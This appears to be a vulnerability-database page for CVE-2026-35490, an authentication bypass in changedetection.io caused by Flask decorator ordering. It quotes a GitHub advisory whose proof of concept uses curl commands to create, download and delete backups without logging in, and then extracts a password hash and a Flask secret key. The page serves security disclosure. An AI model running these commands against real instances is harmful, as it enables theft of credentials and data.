Every CVE Search/ Get API key

CVE-2026-35490

changedetection.io has an Authentication Bypass via Decorator Ordering

9.8 CriticalFix available

changedetection.io is a free open source web page change detection tool. Prior to 0.54.8, the @login_optionally_required decorator is placed before (outer to) @blueprint.route() instead of after it. In Flask, @route() must be the outermost decorator because it registers the function it receives. When the order is reversed, @route() registers the original undecorated function, and the auth wrapper is never in the call chain. This silently disables authentication on these routes. This vulnerability is fixed in 0.54.8.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.55%Up 0.5 points since Apr 8, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.8

changedetection.io has an Authentication Bypass via Decorator Ordering

changedetection.io is a free open source web page change detection tool. Prior to 0.54.8, the @login_optionally_required decorator is placed before (outer to) @blueprint.route() instead of after it. In Flask, @route() must be the outermost decorator because it registers the function it receives. When the order is reversed, @route() registers the original undecorated function, and the auth wrapper is never in the call chain. This silently disables authentication on these routes. This vulnerability is fixed in 0.54.8.

Record
CVE-2026-35490
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-863
Updated
2026-11-02
EUVDEUVD-2026-19675 9.8

changedetection.io is a free open source web page change detection tool. Prior to 0.54.8, the @login_optionally_required decorator is placed before (outer to) @blueprint.route() instead of after it. In Flask, @route() must be the outermost decorator because it registers the function it receives. When the order is reversed, @route() registers the original undecorated function, and the auth wrapper is never in the call chain. This silently disables authentication on these routes. This vulnerability is fixed in 0.54.8.

Record
EUVD-2026-19675
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-jmrh-xmgh-x9j4 9.8

changedetection.io Vulnerable to Authentication Bypass via Decorator Ordering

Summary

On 13 routes across 5 blueprint files, the @login_optionally_required decorator is placed before (outer to) @blueprint.route() instead of after it. In Flask, @route() must be the outermost decorator because it registers the function it receives. When the order is reversed, @route() registers the original undecorated function, and the auth wrapper is never in the call chain. This silently disables authentication on these routes.

The developer correctly uses the decorator on 30+ other routes with the proper order, making this a classic consistency gap.

Details

Correct order (used on 30+ routes):

@blueprint.route('/settings', methods=['GET'])
@login_optionally_required
def settings():
    ...

Incorrect order (13 vulnerable routes):

@login_optionally_required          # ← Applied to return value of @route, NOT the view
@blueprint.route('/backups/download/<filename>')  # ← Registers raw function
def download_backup(filename):
    ...

POC

=== PHASE 1: Confirm Authentication is Required ===

$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/
Main page:     HTTP 302 -> http://127.0.0.1:5557/login?next=/
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/settings
Settings page: HTTP 302 (auth required, redirects to login)

Password is set. Unauthenticated requests to / and /settings
are properly redirected to /login.

=== PHASE 2: Authentication Bypass on Backup Routes ===
(All requests made WITHOUT any session cookie)

--- Exploit 1: Trigger backup creation ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/request-backup
Response: HTTP 302 -> http://127.0.0.1:5557/backups/
(302 redirects to /backups/ listing page, NOT to /login -- backup was created)

--- Exploit 2: List backups page ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/
Response: HTTP 200

--- Exploit 3: Extract backup filenames ---
$ curl -s http://127.0.0.1:5557/backups/ | grep changedetection-backup
Found: changedetection-backup-20260331005425.zip

--- Exploit 4: Download backup without authentication ---
$ curl -s -o /tmp/stolen_backup.zip http://127.0.0.1:5557/backups/download/changedetection-backup-20260331005425.zip
Response: HTTP 200

$ file /tmp/stolen_backup.zip
/tmp/stolen_backup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate

$ ls -la /tmp/stolen_backup.zip
-rw-r--r-- 1 root root 92559 Mar 31 00:54 /tmp/stolen_backup.zip

$ unzip -l /tmp/stolen_backup.zip
Archive:  /tmp/stolen_backup.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
    26496  2026-03-31 00:54   url-watches.json
       64  2026-03-31 00:52   secret.txt
       51  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/history.txt
     1682  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/4b7f61d9f981b92103a6659f0d79a93e.txt.br
     4395  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/1774911131.html.br
    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/6b3a3023b357a0ea25fc373c7e358ce2.txt.br
       51  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/history.txt
    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/1774911131.html.br
       73  2026-03-31 00:54   url-list.txt
      155  2026-03-31 00:54   url-list-with-tags.txt
---------                     -------
   114721                     10 files

--- Exploit 5: Extract sensitive data from backup ---
Application password hash: pG+Bq6s4/EhsRqYZYc7kiGEG1QMd2hMuadD5qCMbSBcRIMnGTATliX/P0vFX...
Watched URLs:
  - https://news.ycombinator.com/  (UUID: 4ff247a9...)
  - https://changedetection.io/CHANGELOG.txt  (UUID: c8d85001...)

Flask secret key: 7cb14f56dc4f26761a22e7d35cc7b6911bfaa5e0790d2b58dadba9e529e5a4d6

--- Exploit 6: Delete all backups without auth ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/remove-backups
Response: HTTP 302

=== PHASE 3:…
Record
GHSA-jmrh-xmgh-x9j4
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-863
Updated
2026-11-02
NVD 9.8

changedetection.io is a free open source web page change detection tool. Prior to 0.54.8, the @login_optionally_required decorator is placed before (outer to) @blueprint.route() instead of after it. In Flask, @route() must be the outermost decorator because it registers the function it receives. When the order is reversed, @route() registers the original undecorated function, and the auth wrapper is never in the call chain. This silently disables authentication on these routes. This vulnerability is fixed in 0.54.8.

Record
CVE-2026-35490
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-863
Updated
2026-11-02
OSV 9.8

changedetection.io has an Authentication Bypass via Decorator Ordering

changedetection.io is a free open source web page change detection tool. Prior to 0.54.8, the @login_optionally_required decorator is placed before (outer to) @blueprint.route() instead of after it. In Flask, @route() must be the outermost decorator because it registers the function it receives. When the order is reversed, @route() registers the original undecorated function, and the auth wrapper is never in the call chain. This silently disables authentication on these routes. This vulnerability is fixed in 0.54.8.

Record
CVE-2026-35490
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-863
Updated
2026-11-02
OSVGHSA-jmrh-xmgh-x9j4 9.8

changedetection.io Vulnerable to Authentication Bypass via Decorator Ordering

Summary

On 13 routes across 5 blueprint files, the @login_optionally_required decorator is placed before (outer to) @blueprint.route() instead of after it. In Flask, @route() must be the outermost decorator because it registers the function it receives. When the order is reversed, @route() registers the original undecorated function, and the auth wrapper is never in the call chain. This silently disables authentication on these routes.

The developer correctly uses the decorator on 30+ other routes with the proper order, making this a classic consistency gap.

Details

Correct order (used on 30+ routes):

@blueprint.route('/settings', methods=['GET'])
@login_optionally_required
def settings():
    ...

Incorrect order (13 vulnerable routes):

@login_optionally_required          # ← Applied to return value of @route, NOT the view
@blueprint.route('/backups/download/<filename>')  # ← Registers raw function
def download_backup(filename):
    ...

POC

=== PHASE 1: Confirm Authentication is Required ===

$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/
Main page:     HTTP 302 -> http://127.0.0.1:5557/login?next=/
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/settings
Settings page: HTTP 302 (auth required, redirects to login)

Password is set. Unauthenticated requests to / and /settings
are properly redirected to /login.

=== PHASE 2: Authentication Bypass on Backup Routes ===
(All requests made WITHOUT any session cookie)

--- Exploit 1: Trigger backup creation ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/request-backup
Response: HTTP 302 -> http://127.0.0.1:5557/backups/
(302 redirects to /backups/ listing page, NOT to /login -- backup was created)

--- Exploit 2: List backups page ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/
Response: HTTP 200

--- Exploit 3: Extract backup filenames ---
$ curl -s http://127.0.0.1:5557/backups/ | grep changedetection-backup
Found: changedetection-backup-20260331005425.zip

--- Exploit 4: Download backup without authentication ---
$ curl -s -o /tmp/stolen_backup.zip http://127.0.0.1:5557/backups/download/changedetection-backup-20260331005425.zip
Response: HTTP 200

$ file /tmp/stolen_backup.zip
/tmp/stolen_backup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate

$ ls -la /tmp/stolen_backup.zip
-rw-r--r-- 1 root root 92559 Mar 31 00:54 /tmp/stolen_backup.zip

$ unzip -l /tmp/stolen_backup.zip
Archive:  /tmp/stolen_backup.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
    26496  2026-03-31 00:54   url-watches.json
       64  2026-03-31 00:52   secret.txt
       51  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/history.txt
     1682  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/4b7f61d9f981b92103a6659f0d79a93e.txt.br
     4395  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/1774911131.html.br
    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/6b3a3023b357a0ea25fc373c7e358ce2.txt.br
       51  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/history.txt
    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/1774911131.html.br
       73  2026-03-31 00:54   url-list.txt
      155  2026-03-31 00:54   url-list-with-tags.txt
---------                     -------
   114721                     10 files

--- Exploit 5: Extract sensitive data from backup ---
Application password hash: pG+Bq6s4/EhsRqYZYc7kiGEG1QMd2hMuadD5qCMbSBcRIMnGTATliX/P0vFX...
Watched URLs:
  - https://news.ycombinator.com/  (UUID: 4ff247a9...)
  - https://changedetection.io/CHANGELOG.txt  (UUID: c8d85001...)

Flask secret key: 7cb14f56dc4f26761a22e7d35cc7b6911bfaa5e0790d2b58dadba9e529e5a4d6

--- Exploit 6: Delete all backups without auth ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/remove-backups
Response: HTTP 302

=== PHASE 3:…
Record
GHSA-jmrh-xmgh-x9j4
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-863
Updated
2026-11-02
OSVPYSEC-2026-28 9.8

changedetection.io is a free open source web page change detection tool. Prior to 0.54.8, the @login_optionally_required decorator is placed before (outer to) @blueprint.route() instead of after it. In Flask, @route() must be the outermost decorator because it registers the function it receives. When the order is reversed, @route() registers the original undecorated function, and the auth wrapper is never in the call chain. This silently disables authentication on these routes. This vulnerability is fixed in 0.54.8.

Record
PYSEC-2026-28
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
changedetection-io
PyPI
through 0.54.7
0.54.8
changedetection-io
PyPI
before 0.54.8, plus listed versions
0.38.20.390.39.10.39.100.39.10.post1
Show 45 moreShow less
0.39.10.post20.39.110.39.120.39.130.39.13.10.39.140.39.14.10.39.150.39.160.39.170.39.17.10.39.17.20.39.180.39.190.39.19.10.39.20.39.200.39.20.10.39.20.20.39.20.30.39.20.40.39.210.39.21.10.39.220.39.22.10.39.30.39.40.39.50.39.60.39.70.39.80.39.90.40.00.40.0.10.40.0.20.40.0.30.40.0.40.40.1.00.40.1.10.40.20.40.30.410.41.10.420.42.1
0.54.8

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-35490 is a critical vulnerability (CVSS 9.8) in Dgtlmoon Changedetection.io, published April 6, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.55%, the 45th percentile. Fixed in changedetection-io 0.54.8.

References

This page doesn't list everything

Left out here: 143 versions and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open